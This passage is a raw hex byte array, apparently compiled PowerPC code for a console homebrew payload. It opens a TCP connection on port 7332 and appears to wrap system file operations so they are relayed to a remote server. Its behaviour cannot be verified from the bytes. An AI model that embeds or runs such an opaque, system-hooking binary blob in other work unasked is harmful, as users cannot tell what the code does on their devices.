0x83, 0xe1, 0x02, 0xb4, 0x38, 0x21, 0x02, 0xb8, 0x4e, 0x80, 0x00, 0x20,
0x39, 0x20, 0x00, 0x64, 0x9b, 0x41, 0x02, 0x6f, 0x99, 0x21, 0x02, 0x6c,
0x39, 0x20, 0x00, 0x69, 0x99, 0x21, 0x02, 0x6d, 0x39, 0x20, 0x00, 0x72,
0x99, 0x21, 0x02, 0x6e, 0x38, 0x81, 0x02, 0x6c, 0x38, 0xa0, 0x00, 0xfb,
0x81, 0x3c, 0x00, 0x00, 0x7c, 0x69, 0xe8, 0x2e, 0x48, 0x00, 0x0a, 0x95,
0x81, 0x01, 0x02, 0x78, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0x04, 0xc3, 0x78,
0x7f, 0xe5, 0xfb, 0x78, 0x38, 0xc1, 0x01, 0x6c, 0x7f, 0x67, 0xdb, 0x78,
0x4b, 0xff, 0xfc, 0xad, 0x4b, 0xff, 0xfd, 0x48, 0x39, 0x80, 0x00, 0x01,
0x39, 0x20, 0x00, 0x00, 0x4b, 0xff, 0xfd, 0x88, 0x38, 0x60, 0xff, 0xff,
0x4b, 0xff, 0xff, 0x60, 0x94, 0x21, 0xfe, 0xa8, 0x7c, 0x08, 0x02, 0xa6,
0x39, 0x20, 0x00, 0x30, 0x38, 0xe0, 0x00, 0x2f, 0x93, 0xe1, 0x01, 0x54,
0x3b, 0xe0, 0x00, 0x6c, 0x90, 0x01, 0x01, 0x5c, 0x38, 0x00, 0x00, 0x76,
0x9b, 0xe1, 0x01, 0x0b, 0x3b, 0xe0, 0x00, 0x73, 0x99, 0x21, 0x01, 0x15,
0x39, 0x00, 0x00, 0x6f, 0x99, 0x21, 0x01, 0x16, 0x39, 0x40, 0x00, 0x00,
0x99, 0x21, 0x01, 0x17, 0x39, 0x60, 0x00, 0x6d, 0x99, 0x21, 0x01, 0x18,
0x99, 0x21, 0x01, 0x19, 0x99, 0x21, 0x01, 0x1a, 0x99, 0x21, 0x01, 0x1b,
0x39, 0x20, 0x00, 0x63, 0x98, 0xe1, 0x01, 0x08, 0x98, 0x01, 0x01, 0x09,
0x98, 0xe1, 0x01, 0x0c, 0x9b, 0xe1, 0x01, 0x0d, 0x3b, 0xe0, 0x00, 0x61,
0x98, 0x01, 0x01, 0x0f, 0x38, 0x00, 0x00, 0x65, 0x98, 0xe1, 0x01, 0x11,
0x38, 0xe0, 0x00, 0x38, 0x99, 0x21, 0x01, 0x20, 0x39, 0x20, 0x00, 0x6e,
0x93, 0x41, 0x01, 0x40, 0x7c, 0x7a, 0x1b, 0x78, 0x93, 0x61, 0x01, 0x44,
0x7c, 0x9b, 0x23, 0x78, 0x93, 0x81, 0x01, 0x48, 0x7c, 0xbc, 0x2b, 0x78,
0x93, 0xa1, 0x01, 0x4c, 0x7c, 0xdd, 0x33, 0x78, 0x93, 0xc1, 0x01, 0x50,
0x3b, 0xc0, 0x00, 0x00, 0x99, 0x01, 0x01, 0x0a, 0x99, 0x41, 0x01, 0x12,
0x98, 0xe1, 0x01, 0x14, 0x38, 0xe1, 0x01, 0x09, 0x99, 0x41, 0x01, 0x1c,
0x99, 0x01, 0x01, 0x21, 0x93, 0x21, 0x01, 0x3c, 0x9b, 0xe1, 0x01, 0x0e,
0x98, 0x01, 0x01, 0x10, 0x99, 0x61, 0x01, 0x22, 0x99, 0x61, 0x01, 0x23,
0x99, 0x01, 0x01, 0x24, 0x39, 0x01, 0x00, 0x07, 0x99, 0x21, 0x01, 0x25,
0x39, 0x20, 0x00, 0x76, 0x99, 0x41, 0x01, 0x26, 0x39, 0x40, 0x00, 0x2f,
0x48, 0x00, 0x00, 0x08, 0x8d, 0x27, 0x00, 0x01, 0x2f, 0x89, 0x00, 0x00,
0x9d, 0x48, 0x00, 0x01, 0x3b, 0xde, 0x00, 0x01, 0x7d, 0x2a, 0x4b, 0x78,
0x40, 0x9e, 0xff, 0xec, 0x39, 0x21, 0x00, 0x08, 0x3b, 0x3e, 0xff, 0xff,
0x7f, 0x29, 0xca, 0x14, 0x38, 0xc1, 0x01, 0x15, 0x7f, 0x27, 0xcb, 0x78,
0x7f, 0xca, 0xf3, 0x78, 0x39, 0x20, 0x00, 0x30, 0x39, 0x00, 0x00, 0x38,
0x48, 0x00, 0x00, 0x08, 0x8d, 0x26, 0x00, 0x01, 0x2f, 0x89, 0x00, 0x00,
0x9d, 0x07, 0x00, 0x01, 0x39, 0x4a, 0x00, 0x01, 0x7d, 0x28, 0x4b, 0x78,
0x40, 0x9e, 0xff, 0xec, 0x7d, 0x41, 0x52, 0x14, 0x3b, 0xe0, 0x00, 0x01,
0x99, 0x2a, 0x00, 0x08, 0x48, 0x00, 0x00, 0x28, 0x2f, 0x89, 0x00, 0x09,
0x39, 0x49, 0x00, 0x57, 0x99, 0x01, 0x00, 0x18, 0x39, 0x29, 0x00, 0x30,
0x41, 0x9d, 0x00, 0x5c, 0x2f, 0x9f, 0x01, 0x00, 0x99, 0x21, 0x00, 0x19,
0x3b, 0xff, 0x00, 0x01, 0x41, 0x9e, 0x00, 0x5c, 0x39, 0x00, 0x00, 0x32,
0x7f, 0x43, 0xd3, 0x78, 0x7f, 0xa4, 0xeb, 0x78, 0x7f, 0x65, 0xdb, 0x78,
0x38, 0xc1, 0x00, 0x08, 0x7f, 0x87, 0xe3, 0x78, 0x4b, 0xff, 0xfb, 0x01,
0x7f, 0xe9, 0x26, 0x70, 0x2f, 0x89, 0x00, 0x09, 0x39, 0x49, 0x00, 0x57,
0x39, 0x09, 0x00, 0x30, 0x57, 0xe9, 0x07, 0x3e, 0x40, 0xbd, 0xff, 0xac,
0x2f, 0x89, 0x00, 0x09, 0x99, 0x41, 0x00, 0x18, 0x39, 0x49, 0x00, 0x57,
0x39, 0x29, 0x00, 0x30, 0x40, 0xbd, 0xff, 0xac, 0x2f, 0x9f, 0x01, 0x00,
0x99, 0x41, 0x00, 0x19, 0x3b, 0xff, 0x00, 0x01, 0x40, 0x9e, 0xff, 0xac,
0x39, 0x01, 0x01, 0x21, 0x7f, 0x2a, 0xcb, 0x78, 0x3b, 0xe0, 0x00, 0x6f,
0x39, 0x20, 0x00, 0x63, 0x48, 0x00, 0x00, 0x08, 0x8f, 0xe8, 0x00, 0x01,
0x2f, 0x9f, 0x00, 0x00, 0x9d, 0x2a, 0x00, 0x01, 0x3b, 0xde, 0x00, 0x01,
0x7f, 0xe9, 0xfb, 0x78, 0x40, 0x9e, 0xff, 0xec, 0x7f, 0xc1, 0xf2, 0x14,
0x3f, 0x20, 0x10, 0x00, 0x9b, 0xfe, 0x00, 0x08, 0x63, 0x39, 0x00, 0xe4,
0x57, 0xbe, 0x10, 0x3a, 0x38, 0x81, 0x00, 0x08, 0x81, 0x39, 0x00, 0x00,
0x38, 0xa0, 0x00, 0xfb, 0x7c, 0x69, 0xf0, 0x2e, 0x48, 0x00, 0x08, 0x3d,
0x7f, 0xa4, 0xeb, 0x78, 0x7f, 0x65, 0xdb, 0x78, 0x38, 0xc1, 0x00, 0x08,
0x7f, 0x87, 0xe3, 0x78, 0x7f, 0x43, 0xd3, 0x78, 0x39, 0x00, 0x00, 0x3c,
0x4b, 0xff, 0xfa, 0x55, 0x39, 0x20, 0x00, 0x64, 0x99, 0x21, 0x01, 0x28,
0x39, 0x20, 0x00, 0x6f, 0x99, 0x21, 0x01, 0x29, 0x39, 0x20, 0x00, 0x6e,
0x99, 0x21, 0x01, 0x2a, 0x39, 0x20, 0x00, 0x65, 0x99, 0x21, 0x01, 0x2b,
0x39, 0x20, 0x00, 0x21, 0x9b, 0xe1, 0x01, 0x2d, 0x38, 0x81, 0x01, 0x28,
0x99, 0x21, 0x01, 0x2c, 0x38, 0xa0, 0x00, 0xfb, 0x81, 0x39, 0x00, 0x00,
0x7c, 0x69, 0xf0, 0x2e, 0x48, 0x00, 0x07, 0xe1, 0x80, 0x01, 0x01, 0x5c,
0x83, 0x21, 0x01, 0x3c, 0x7c, 0x08, 0x03, 0xa6, 0x83, 0x41, 0x01, 0x40,
0x83, 0x61, 0x01, 0x44, 0x83, 0x81, 0x01, 0x48, 0x83, 0xa1, 0x01, 0x4c,
0x83, 0xc1, 0x01, 0x50, 0x83, 0xe1, 0x01, 0x54, 0x38, 0x21, 0x01, 0x58,
0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xe0,
0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4, 0x93, 0x81, 0x00, 0x10,
0x90, 0x01, 0x00, 0x24, 0x7c, 0xbc, 0x2b, 0x78, 0x93, 0xa1, 0x00, 0x14,
0x7c, 0xdd, 0x33, 0x78, 0x81, 0x69, 0x00, 0x00, 0x3d, 0x20, 0x0a, 0x00,
0x93, 0xc1, 0x00, 0x18, 0x7c, 0x9e, 0x23, 0x78, 0x7f, 0x8b, 0x48, 0x00,
0x93, 0xe1, 0x00, 0x1c, 0x7c, 0x7f, 0x1b, 0x78, 0x41, 0x9e, 0x00, 0x38,
0x39, 0x40, 0x00, 0x20, 0x39, 0x2b, 0x00, 0x7c, 0x38, 0xc0, 0x00, 0x00,
0x7d, 0x49, 0x03, 0xa6, 0x48, 0x00, 0x00, 0x0c, 0x38, 0xc6, 0x00, 0x01,
0x42, 0x40, 0x00, 0x1c, 0x85, 0x09, 0x00, 0x04, 0x7f, 0x9f, 0x40, 0x00,
0x40, 0x9e, 0xff, 0xf0, 0x81, 0x2b, 0x02, 0x80, 0x2f, 0x89, 0x00, 0x00,
0x41, 0x9e, 0x00, 0x40, 0x3d, 0x20, 0x01, 0x1e, 0x80, 0x01, 0x00, 0x24,
0x81, 0x29, 0xf2, 0xb0, 0x7f, 0xe3, 0xfb, 0x78, 0x7f, 0xc4, 0xf3, 0x78,
0x83, 0xe1, 0x00, 0x1c, 0x83, 0xc1, 0x00, 0x18, 0x7f, 0x85, 0xe3, 0x78,
0x7f, 0xa6, 0xeb, 0x78, 0x83, 0x81, 0x00, 0x10, 0x83, 0xa1, 0x00, 0x14,
0x7d, 0x29, 0x03, 0xa6, 0x38, 0x21, 0x00, 0x20, 0x7c, 0x08, 0x03, 0xa6,
0x4e, 0x80, 0x04, 0x20, 0x7f, 0xe3, 0xfb, 0x78, 0x7f, 0xc4, 0xf3, 0x78,
0x7c, 0xe5, 0x3b, 0x78, 0x90, 0xe1, 0x00, 0x08, 0x4b, 0xff, 0xfc, 0x91,
0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4, 0x39, 0x40, 0x00, 0x02,
0x81, 0x29, 0x00, 0x00, 0x7f, 0xe3, 0xfb, 0x78, 0x80, 0x01, 0x00, 0x24,
0x7f, 0xc4, 0xf3, 0x78, 0x91, 0x49, 0x02, 0x80, 0x3d, 0x20, 0x01, 0x1e,
0x81, 0x29, 0xf2, 0xb0, 0x7f, 0x85, 0xe3, 0x78, 0x80, 0xe1, 0x00, 0x08,
0x7f, 0xa6, 0xeb, 0x78, 0x83, 0x81, 0x00, 0x10, 0x7d, 0x29, 0x03, 0xa6,
0x83, 0xa1, 0x00, 0x14, 0x83, 0xc1, 0x00, 0x18, 0x7c, 0x08, 0x03, 0xa6,
0x83, 0xe1, 0x00, 0x1c, 0x38, 0x21, 0x00, 0x20, 0x4e, 0x80, 0x04, 0x20,
0x94, 0x21, 0xff, 0xe8, 0x7c, 0x08, 0x02, 0xa6, 0x93, 0xe1, 0x00, 0x14,
0x7c, 0xbf, 0x2b, 0x79, 0x93, 0xa1, 0x00, 0x0c, 0x7c, 0x7d, 0x1b, 0x78,
0x93, 0xc1, 0x00, 0x10, 0x7c, 0x9e, 0x23, 0x78, 0x90, 0x01, 0x00, 0x1c,
0x41, 0xa1, 0x00, 0x0c, 0x48, 0x00, 0x00, 0x4c, 0x40, 0x9d, 0x00, 0x48,
0x7f, 0xc4, 0xf3, 0x78, 0x7f, 0xe5, 0xfb, 0x78, 0x7f, 0xa3, 0xeb, 0x78,
0x38, 0xc0, 0x00, 0x00, 0x4b, 0xee, 0x2b, 0xb1, 0x2c, 0x03, 0x00, 0x00,
0x7f, 0xe3, 0xf8, 0x50, 0x7f, 0xde, 0x1a, 0x14, 0x2f, 0x9f, 0x00, 0x00,
0x40, 0x80, 0xff, 0xd8, 0x80, 0x01, 0x00, 0x1c, 0x83, 0xa1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x83, 0xc1, 0x00, 0x10, 0x83, 0xe1, 0x00, 0x14,
0x38, 0x21, 0x00, 0x18, 0x4e, 0x80, 0x00, 0x20, 0x80, 0x01, 0x00, 0x1c,
0x38, 0x60, 0x00, 0x00, 0x83, 0xa1, 0x00, 0x0c, 0x7c, 0x08, 0x03, 0xa6,
0x83, 0xc1, 0x00, 0x10, 0x83, 0xe1, 0x00, 0x14, 0x38, 0x21, 0x00, 0x18,
0x4e, 0x80, 0x00, 0x20, 0x94, 0x21, 0xff, 0xe8, 0x7c, 0x08, 0x02, 0xa6,
0x93, 0xe1, 0x00, 0x14, 0x7c, 0xbf, 0x2b, 0x79, 0x93, 0xa1, 0x00, 0x0c,
0x7c, 0x7d, 0x1b, 0x78, 0x93, 0xc1, 0x00, 0x10, 0x7c, 0x9e, 0x23, 0x78,
0x90, 0x01, 0x00, 0x1c, 0x41, 0xa1, 0x00, 0x0c, 0x48, 0x00, 0x00, 0x4c,
0x40, 0x9d, 0x00, 0x48, 0x7f, 0xc4, 0xf3, 0x78, 0x7f, 0xe5, 0xfb, 0x78,
0x7f, 0xa3, 0xeb, 0x78, 0x38, 0xc0, 0x00, 0x00, 0x4b, 0xee, 0x1f, 0x5d,
0x2c, 0x03, 0x00, 0x00, 0x7f, 0xe3, 0xf8, 0x50, 0x7f, 0xde, 0x1a, 0x14,
0x2f, 0x9f, 0x00, 0x00, 0x40, 0x80, 0xff, 0xd8, 0x80, 0x01, 0x00, 0x1c,
0x83, 0xa1, 0x00, 0x0c, 0x7c, 0x08, 0x03, 0xa6, 0x83, 0xc1, 0x00, 0x10,
0x83, 0xe1, 0x00, 0x14, 0x38, 0x21, 0x00, 0x18, 0x4e, 0x80, 0x00, 0x20,
0x80, 0x01, 0x00, 0x1c, 0x38, 0x60, 0x00, 0x00, 0x83, 0xa1, 0x00, 0x0c,
0x7c, 0x08, 0x03, 0xa6, 0x83, 0xc1, 0x00, 0x10, 0x83, 0xe1, 0x00, 0x14,
0x38, 0x21, 0x00, 0x18, 0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6,
0x94, 0x21, 0xff, 0xc0, 0x93, 0xc1, 0x00, 0x38, 0x7c, 0x7e, 0x1b, 0x78,
0x90, 0x01, 0x00, 0x44, 0x93, 0xe1, 0x00, 0x3c, 0x4b, 0xee, 0x16, 0xf9,
0x38, 0x60, 0x00, 0x02, 0x38, 0x80, 0x00, 0x01, 0x38, 0xa0, 0x00, 0x06,
0x4b, 0xee, 0x35, 0xbd, 0x2f, 0x83, 0xff, 0xff, 0x7c, 0x7f, 0x1b, 0x78,
0x41, 0x9e, 0x00, 0xa8, 0x3d, 0x20, 0x01, 0x1e, 0x39, 0x40, 0x00, 0x02,
0x81, 0x29, 0xe0, 0x00, 0x38, 0x81, 0x00, 0x18, 0xb1, 0x41, 0x00, 0x18,
0x38, 0xa0, 0x00, 0x10, 0x39, 0x40, 0x1c, 0xa4, 0x91, 0x21, 0x00, 0x1c,
0xb1, 0x41, 0x00, 0x1a, 0x4b, 0xee, 0x1b, 0xe9, 0x2f, 0x83, 0x00, 0x00,
0x41, 0x9c, 0x00, 0x70, 0x3c, 0x80, 0x10, 0x01, 0x38, 0xa0, 0x00, 0x10,
0x38, 0x84, 0x36, 0xd0, 0x38, 0x61, 0x00, 0x08, 0x4b, 0xe5, 0x6e, 0x0d,
0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x81, 0x00, 0x08, 0x38, 0xa0, 0x00, 0x10,
0x4b, 0xff, 0xfe, 0x51, 0x2f, 0x83, 0x00, 0x00, 0x41, 0x9c, 0x00, 0x44,
0x7f, 0xe3, 0xfb, 0x78, 0x38, 0x81, 0x00, 0x28, 0x38, 0xa0, 0x00, 0x01,
0x4b, 0xff, 0xfe, 0xcd, 0x2f, 0x83, 0x00, 0x00, 0x41, 0x9c, 0x00, 0x2c,
0x89, 0x21, 0x00, 0x28, 0x2b, 0x89, 0x00, 0xff, 0x41, 0x9e, 0x00, 0x20,
0x80, 0x01, 0x00, 0x44, 0x93, 0xfe, 0x00, 0x00, 0x7c, 0x08, 0x03, 0xa6,
0x83, 0xc1, 0x00, 0x38, 0x83, 0xe1, 0x00, 0x3c, 0x38, 0x21, 0x00, 0x40,
0x4e, 0x80, 0x00, 0x20, 0x7f, 0xe3, 0xfb, 0x78, 0x4b, 0xee, 0x36, 0x59,
0x80, 0x01, 0x00, 0x44, 0x39, 0x20, 0xff, 0xff, 0x91, 0x3e, 0x00, 0x00,
0x7c, 0x08, 0x03, 0xa6, 0x83, 0xc1, 0x00, 0x38, 0x83, 0xe1, 0x00, 0x3c,
0x38, 0x21, 0x00, 0x40, 0x4e, 0x80, 0x00, 0x20, 0x2f, 0x83, 0xff, 0xff,
0x4d, 0x9e, 0x00, 0x20, 0x4b, 0xee, 0x36, 0x2c, 0x7c, 0x08, 0x02, 0xa6,
0x94, 0x21, 0xff, 0xd0, 0x93, 0xc1, 0x00, 0x28, 0x3f, 0xc0, 0x10, 0x00,
0x90, 0x01, 0x00, 0x34, 0x63, 0xde, 0x00, 0xe4, 0x93, 0x61, 0x00, 0x1c,
0x7c, 0xdb, 0x33, 0x78, 0x81, 0x3e, 0x00, 0x00, 0x93, 0x81, 0x00, 0x20,
0x7c, 0x7c, 0x1b, 0x78, 0x81, 0x49, 0x02, 0x84, 0x93, 0xa1, 0x00, 0x24,
0x7c, 0xbd, 0x2b, 0x78, 0x2f, 0x8a, 0x00, 0x00, 0x93, 0xe1, 0x00, 0x2c,
0x7c, 0x3f, 0x0b, 0x78, 0x41, 0x9e, 0x00, 0x18, 0x4b, 0xf7, 0x2c, 0x31,
0x81, 0x3e, 0x00, 0x00, 0x81, 0x49, 0x02, 0x84, 0x2f, 0x8a, 0x00, 0x00,
0x40, 0x9e, 0xff, 0xf0, 0x2f, 0x9c, 0xff, 0xff, 0x39, 0x40, 0x00, 0x01,
0x91, 0x49, 0x02, 0x84, 0x41, 0x9e, 0x00, 0xa4, 0x39, 0x1d, 0xff, 0xff,
0x39, 0x40, 0x00, 0x00, 0x48, 0x00, 0x00, 0x08, 0x7d, 0x2a, 0x4b, 0x78,
0x8c, 0xe8, 0x00, 0x01, 0x39, 0x2a, 0x00, 0x01, 0x2f, 0x87, 0x00, 0x00,
0x40, 0x9e, 0xff, 0xf0, 0x39, 0x0a, 0x00, 0x19, 0x80, 0xe1, 0x00, 0x00,
0x55, 0x08, 0x00, 0x36, 0x7d, 0x26, 0x4b, 0x79, 0x7d, 0x08, 0x00, 0xd0,
0x7c, 0x3e, 0x0b, 0x78, 0x7c, 0xe1, 0x41, 0x6e, 0x39, 0x00, 0x00, 0x0a,
0x7c, 0xc9, 0x03, 0xa6, 0x38, 0xaa, 0x00, 0x0a, 0x38, 0x81, 0x00, 0x08,
0x99, 0x01, 0x00, 0x08, 0x91, 0x24, 0x00, 0x05, 0x39, 0x20, 0x00, 0x00,
0x93, 0x64, 0x00, 0x01, 0x40, 0x81, 0x00, 0x80, 0x7c, 0xfd, 0x48, 0xae,
0x7d, 0x04, 0x4a, 0x14, 0x39, 0x29, 0x00, 0x01, 0x98, 0xe8, 0x00, 0x09,
0x42, 0x00, 0xff, 0xf0, 0x7f, 0x83, 0xe3, 0x78, 0x4b, 0xff, 0xfc, 0xed,
0x2f, 0x83, 0x00, 0x00, 0x41, 0x9c, 0x00, 0x14, 0x7f, 0x83, 0xe3, 0x78,
0x38, 0x9f, 0x00, 0x08, 0x38, 0xa0, 0x00, 0x01, 0x4b, 0xff, 0xfd, 0x69,
0x81, 0x21, 0x00, 0x00, 0x91, 0x3e, 0x00, 0x00, 0x7f, 0xc1, 0xf3, 0x78,
0x39, 0x7f, 0x00, 0x30, 0x80, 0x0b, 0x00, 0x04, 0x3d, 0x20, 0x10, 0x00,
0x83, 0xeb, 0xff, 0xfc, 0x7c, 0x08, 0x03, 0xa6, 0x61, 0x29, 0x00, 0xe4,
0x81, 0x29, 0x00, 0x00, 0x39, 0x40, 0x00, 0x00, 0x83, 0x6b, 0xff, 0xec,
0x91, 0x49, 0x02, 0x84, 0x83, 0x8b, 0xff, 0xf0, 0x83, 0xab, 0xff, 0xf4,
0x83, 0xcb, 0xff, 0xf8, 0x7d, 0x61, 0x5b, 0x78, 0x4e, 0x80, 0x00, 0x20,
0x39, 0x40, 0x00, 0x01, 0x7d, 0x49, 0x03, 0xa6, 0x4b, 0xff, 0xff, 0x7c,
0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xd0, 0x93, 0xc1, 0x00, 0x28,
0x3f, 0xc0, 0x10, 0x00, 0x90, 0x01, 0x00, 0x34, 0x63, 0xde, 0x00, 0xe4,
0x93, 0x41, 0x00, 0x18, 0x7c, 0xda, 0x33, 0x78, 0x81, 0x3e, 0x00, 0x00,
0x93, 0x61, 0x00, 0x1c, 0x7c, 0x7b, 0x1b, 0x78, 0x81, 0x49, 0x02, 0x84,
0x93, 0x81, 0x00, 0x20, 0x7c, 0xbc, 0x2b, 0x78, 0x2f, 0x8a, 0x00, 0x00,
0x93, 0xa1, 0x00, 0x24, 0x93, 0xe1, 0x00, 0x2c, 0x7c, 0x9d, 0x23, 0x78,
0x7c, 0x3f, 0x0b, 0x78, 0x41, 0x9e, 0x00, 0x18, 0x4b, 0xf7, 0x2a, 0xd5,
0x81, 0x3e, 0x00, 0x00, 0x81, 0x49, 0x02, 0x84, 0x2f, 0x8a, 0x00, 0x00,
0x40, 0x9e, 0xff, 0xf0, 0x2f, 0x9b, 0xff, 0xff, 0x39, 0x40, 0x00, 0x01,
0x91, 0x49, 0x02, 0x84, 0x41, 0x9e, 0x00, 0x7c, 0x39, 0x3c, 0x00, 0x18,
0x81, 0x41, 0x00, 0x00, 0x55, 0x29, 0x00, 0x36, 0x2f, 0x9c, 0x00, 0x00,
0x7d, 0x29, 0x00, 0xd0, 0x7c, 0x3e, 0x0b, 0x78, 0x7d, 0x41, 0x49, 0x6e,
0x39, 0x20, 0x00, 0x0b, 0x7f, 0x89, 0x03, 0xa6, 0x38, 0xbc, 0x00, 0x09,
0x38, 0x81, 0x00, 0x08, 0x99, 0x21, 0x00, 0x08, 0x93, 0x44, 0x00, 0x01,
0x39, 0x20, 0x00, 0x00, 0x93, 0x84, 0x00, 0x05, 0x40, 0x9d, 0x00, 0x18,
0x7d, 0x1d, 0x48, 0xae, 0x7d, 0x44, 0x4a, 0x14, 0x39, 0x29, 0x00, 0x01,
0x99, 0x0a, 0x00, 0x09, 0x42, 0x00, 0xff, 0xf0, 0x7f, 0x63, 0xdb, 0x78,
0x4b, 0xff, 0xfb, 0xb1, 0x7f, 0x63, 0xdb, 0x78, 0x38, 0x9f, 0x00, 0x08,
0x38, 0xa0, 0x00, 0x01, 0x4b, 0xff, 0xfc, 0x35, 0x81, 0x21, 0x00, 0x00,
0x91, 0x3e, 0x00, 0x00, 0x7f, 0xc1, 0xf3, 0x78, 0x39, 0x7f, 0x00, 0x30,
0x80, 0x0b, 0x00, 0x04, 0x3d, 0x20, 0x10, 0x00, 0x83, 0xeb, 0xff, 0xfc,
0x7c, 0x08, 0x03, 0xa6, 0x61, 0x29, 0x00, 0xe4, 0x81, 0x29, 0x00, 0x00,
0x39, 0x40, 0x00, 0x00, 0x83, 0x4b, 0xff, 0xe8, 0x91, 0x49, 0x02, 0x84,
0x83, 0x6b, 0xff, 0xec, 0x83, 0x8b, 0xff, 0xf0, 0x83, 0xab, 0xff, 0xf4,
0x83, 0xcb, 0xff, 0xf8, 0x7d, 0x61, 0x5b, 0x78, 0x4e, 0x80, 0x00, 0x20,
0x7c, 0x08, 0x02, 0xa6, 0x94, 0x21, 0xff, 0xd8, 0x93, 0xe1, 0x00, 0x24,
0x3f, 0xe0, 0x10, 0x00, 0x90, 0x01, 0x00, 0x2c, 0x63, 0xff, 0x00, 0xe4,
0x93, 0x81, 0x00, 0x18, 0x7c, 0x9c, 0x23, 0x78, 0x81, 0x3f, 0x00, 0x00,
0x93, 0xa1, 0x00, 0x1c, 0x7c, 0xbd, 0x2b, 0x78, 0x81, 0x49, 0x02, 0x84,
0x93, 0xc1, 0x00, 0x20, 0x7c, 0x7e, 0x1b, 0x78, 0x2f, 0x8a, 0x00, 0x00,
0x41, 0x9e, 0x00, 0x18, 0x4b, 0xf7, 0x29, 0xb9, 0x81, 0x3f, 0x00, 0x00,
0x81, 0x49, 0x02, 0x84, 0x2f, 0x8a, 0x00, 0x00, 0x40, 0x9e, 0xff, 0xf0,
0x2f, 0x9e, 0xff, 0xff, 0x39, 0x40, 0x00, 0x01, 0x91, 0x49, 0x02, 0x84,
0x41, 0x9e, 0x00, 0x9c, 0x39, 0x20, 0x00, 0x02, 0x7f, 0xc3, 0xf3, 0x78,
0x38, 0x81, 0x00, 0x08, 0x38, 0xa0, 0x00, 0x05, 0x99, 0x21, 0x00, 0x08,
0x93, 0xa1, 0x00, 0x09, 0x4b, 0xff, 0xfa, 0xd5, 0x2f, 0x83, 0x00, 0x00,
0x41, 0x9c, 0x00, 0x78, 0x7f, 0xc3, 0xf3, 0x78, 0x38, 0x81, 0x00, 0x10,
0x38, 0xa0, 0x00, 0x01, 0x4b, 0xff, 0xfb, 0x51, 0x2f, 0x83, 0x00, 0x00,
0x41, 0x9c, 0x00, 0x60, 0x89, 0x21, 0x00, 0x10, 0x2b, 0x89, 0x00, 0xff,
0x41, 0x9e, 0x00, 0x54, 0x7f, 0xc3, 0xf3, 0x78, 0x7f, 0x84, 0xe3, 0x78,
0x38, 0xa0, 0x00, 0x04, 0x4b, 0xff, 0xfb, 0x2d, 0x2f, 0x83, 0x00, 0x00,
0x41, 0x9c, 0x00, 0x3c, 0x80, 0x01, 0x00, 0x2c, 0x3d, 0x20, 0x10, 0x00,
0x61, 0x29, 0x00, 0xe4, 0x39, 0x40, 0x00, 0x00, 0x7c, 0x08, 0x03, 0xa6,
0x81, 0x29, 0x00, 0x00, 0x83, 0x81, 0x00, 0x18, 0x38, 0x60, 0x00, 0x00,
0x83, 0xa1, 0x00, 0x1c, 0x83, 0xc1, 0x00, 0x20, 0x83, 0xe1, 0x00, 0x24,
0x91, 0x49, 0x02, 0x84, 0x38, 0x21, 0x00, 0x28, 0x4e, 0x80, 0x00, 0x20,
0x80, 0x01, 0x00, 0x2c, 0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4,
0x39, 0x40, 0x00, 0x00, 0x7c, 0x08, 0x03, 0xa6, 0x81, 0x29, 0x00, 0x00,
0x83, 0x81, 0x00, 0x18, 0x38, 0x60, 0xff, 0xff, 0x83, 0xa1, 0x00, 0x1c,
0x83, 0xc1, 0x00, 0x20, 0x83, 0xe1, 0x00, 0x24, 0x91, 0x49, 0x02, 0x84,
0x38, 0x21, 0x00, 0x28, 0x4e, 0x80, 0x00, 0x20, 0x7c, 0x08, 0x02, 0xa6,
0x94, 0x21, 0xff, 0xd8, 0x93, 0xe1, 0x00, 0x24, 0x3f, 0xe0, 0x10, 0x00,
0x90, 0x01, 0x00, 0x2c, 0x63, 0xff, 0x00, 0xe4, 0x93, 0x81, 0x00, 0x18,
0x7c, 0x7c, 0x1b, 0x78, 0x81, 0x3f, 0x00, 0x00, 0x93, 0xa1, 0x00, 0x1c,
0x7c, 0x9d, 0x23, 0x78, 0x81, 0x49, 0x02, 0x84, 0x93, 0xc1, 0x00, 0x20,
0x7c, 0xbe, 0x2b, 0x78, 0x2f, 0x8a, 0x00, 0x00, 0x41, 0x9e, 0x00, 0x18,
0x4b, 0xf7, 0x28, 0x85, 0x81, 0x3f, 0x00, 0x00, 0x81, 0x49, 0x02, 0x84,
0x2f, 0x8a, 0x00, 0x00, 0x40, 0x9e, 0xff, 0xf0, 0x39, 0x40, 0x00, 0x01,
0x7f, 0x83, 0xe3, 0x78, 0x91, 0x49, 0x02, 0x84, 0x38, 0x81, 0x00, 0x08,
0x39, 0x20, 0x00, 0x0c, 0x38, 0xa0, 0x00, 0x09, 0x99, 0x21, 0x00, 0x08,
0x93, 0xa1, 0x00, 0x09, 0x93, 0xc1, 0x00, 0x0d, 0x4b, 0xff, 0xf9, 0xa5,
0x80, 0x01, 0x00, 0x2c, 0x3d, 0x20, 0x10, 0x00, 0x61, 0x29, 0x00, 0xe4,
0x39, 0x40, 0x00, 0x00, 0x7c, 0x08, 0x03, 0xa6, 0x81, 0x29, 0x00, 0x00,
0x83, 0x81, 0x00, 0x18, 0x83, 0xa1, 0x00, 0x1c, 0x83, 0xc1, 0x00, 0x20,
0x83, 0xe1, 0x00, 0x24, 0x91, 0x49, 0x02, 0x84, 0x38, 0x21, 0x00, 0x28,
0x4e, 0x80, 0x00, 0x20, 0x2f, 0x83, 0xff, 0xff, 0x7c, 0x08, 0x02, 0xa6,
0x94, 0x21, 0xff, 0xe0, 0x93, 0x81, 0x00, 0x10, 0x7c, 0x7c, 0x1b, 0x78,
0x93, 0xe1, 0x00, 0x1c, 0x7c, 0x3f, 0x0b, 0x78, 0x90, 0x01, 0x00, 0x24,
0x93, 0x61, 0x00, 0x0c, 0x93, 0xa1, 0x00, 0x14, 0x93, 0xc1, 0x00, 0x18,
0x41, 0x9e, 0x00, 0xdc, 0x3f, 0xa0, 0x10, 0x00, 0x7c, 0x9e, 0x23, 0x78,
